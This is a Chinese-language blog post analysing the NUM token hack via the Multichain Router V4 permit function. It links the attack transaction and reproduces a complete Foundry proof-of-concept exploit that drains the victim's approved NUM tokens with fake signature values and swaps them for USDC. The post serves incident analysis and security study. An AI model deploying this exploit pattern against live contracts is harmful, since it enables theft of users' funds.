NUM 漏洞分析
https://twitter.com/BlockSecTeam/status/1595346020237352960
https://twitter.com/BlockSecTeam/status/1595346020237352960 https://phalcon.blocksec.com/tx/eth/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32 攻击交易 https://tx.eth.samczsun.com/ethereum/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32 攻击交易 https://etherscan.io/address/0x765277EebeCA2e31912C9946eAe1021199B39C61#code Multichain: Router V4 2 https://etherscan.io/address/0x3496B523e5C00a4b4150D6721320CdDb234c3079 Numbers Protocol: NUM Token
此次事件漏洞与ERC677代币关系并不大,可参考以下链接了解ERC677合约的实现逻辑:https://learnblockchain.cn/article/588
“RC677标准是ERC20的一个扩展,继承了ERC20的所有方法和事件,除了包含了ERC20的所有方法和事件之外,增加了transferAndCall 方法: function transferAndCall(address receiver, uint amount, bytes data) returns (bool success) 这个方法比ERC20中的transfer方法多了一个data字段,这个字段用于在转账的同时,携带用户自定义的数据。在方法调用的时候,还会触发Transfer(address,address,uint256,bytes) 事件,记录下发送方、接收方、转账金额以及附带数据。完成转账和记录日志之后,代币合约还会调用接收合约的onTokenTransfer方法,用来触发接收合约的逻辑。这就要求接收ERC677代币的合约必须实现onTokenTransfer方法,用来给代币合约调用。onTokenTransfer方法定义如下: function onTokenTransfer(address from, uint256 amount, bytes data) returns (bool success) 接收合约就可以在这个方法中定义自己的业务逻辑,可以在发生转账的时候自动触发。换句话说,智能合约中的业务逻辑,可以通过代币转账的方式来触发自动运行。”
5. 攻击过程&漏洞原因
- 攻击者先查看被攻击合约0x78ac给Multichain: Router V4 2授权的额度,为115792089237316195423570985008687907853269984665640563939356584007913129639935 ,即type(uint256).max ;
漏洞复现代码可参考:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/NUM_exp.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/BlockSecTeam/status/1595346020237352960
// @TX
// https://etherscan.io/tx/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32
interface MultichainRouter{
function anySwapOutUnderlyingWithPermit(
address from,
address token,
address to,
uint amount,
uint deadline,
uint8 v,
bytes32 r,
bytes32 s,
uint toChainID
) external;
}
contract ContractTest is DSTest{
IERC20 NUM = IERC20(0x3496B523e5C00a4b4150D6721320CdDb234c3079);
IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
MultichainRouter multichainRouter = MultichainRouter(0x765277EebeCA2e31912C9946eAe1021199B39C61);
Uni_Router_V3 Router = Uni_Router_V3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);
address victimAddress = 0x78AC2624a2Cd193E8dEfE9F39A9528e8bd4a368c;
uint NUMBalance;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 16029969);
}
function testExploit() external{
NUMBalance = NUM.balanceOf(victimAddress);
uint8 v = 0;
bytes32 r = 0x3078000000000000000000000000000000000000000000000000000000000000;
bytes32 s = 0x3078000000000000000000000000000000000000000000000000000000000000;
multichainRouter.anySwapOutUnderlyingWithPermit(
victimAddress,
address(this),
address(this),
NUMBalance,
block.timestamp + 60,
v,
r,
s,
12
);
NUM.approve(address(Router), type(uint).max);
WETH.approve(address(Router), type(uint).max);
NUM.transfer(address(Router), NUM.balanceOf(address(this)));
address[] memory path = new address[](2);
path[0] = address(NUM);
path[1] = address(USDC);
Router.swapExactTokensForTokens(0, 0, path, address(this));
emit log_named_decimal_uint(
"[End] Attacker USDC balance after exploit",
USDC.balanceOf(address(this)),
6
);
}
function underlying() external returns(address){
return address(NUM);
}
function depositVault(uint256 amount, address to) external returns(uint){
return NUMBalance;
}
function burn(address from, uint256 amount) external returns(bool){
return true;
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!